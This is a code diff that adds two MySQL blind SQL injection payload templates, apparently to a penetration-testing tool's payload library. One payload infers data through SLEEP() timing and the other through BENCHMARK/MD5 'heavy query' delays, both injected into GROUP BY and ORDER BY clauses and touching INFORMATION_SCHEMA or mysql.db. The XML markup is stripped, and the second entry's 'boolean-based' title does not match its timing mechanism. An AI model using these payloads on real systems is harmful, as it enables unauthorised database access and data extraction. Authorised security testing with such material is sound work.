diff --git a/xml/payloads.xml b/xml/payloads.xml
index 0f137681c..e60b513f5 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -2836,6 +2836,49 @@ Formats:
+
+
+ MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses
+ 5
+ 3
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
+
+
+
+
+
+ MySQL
+ >= 5.0.11
+
+
+
+
+ MySQL < 5.0.12 boolean-based blind - GROUP BY and ORDER BY clauses (heavy query)
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
+
+
+
+
+
+ MySQL
+
+
+
+
+
+
MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)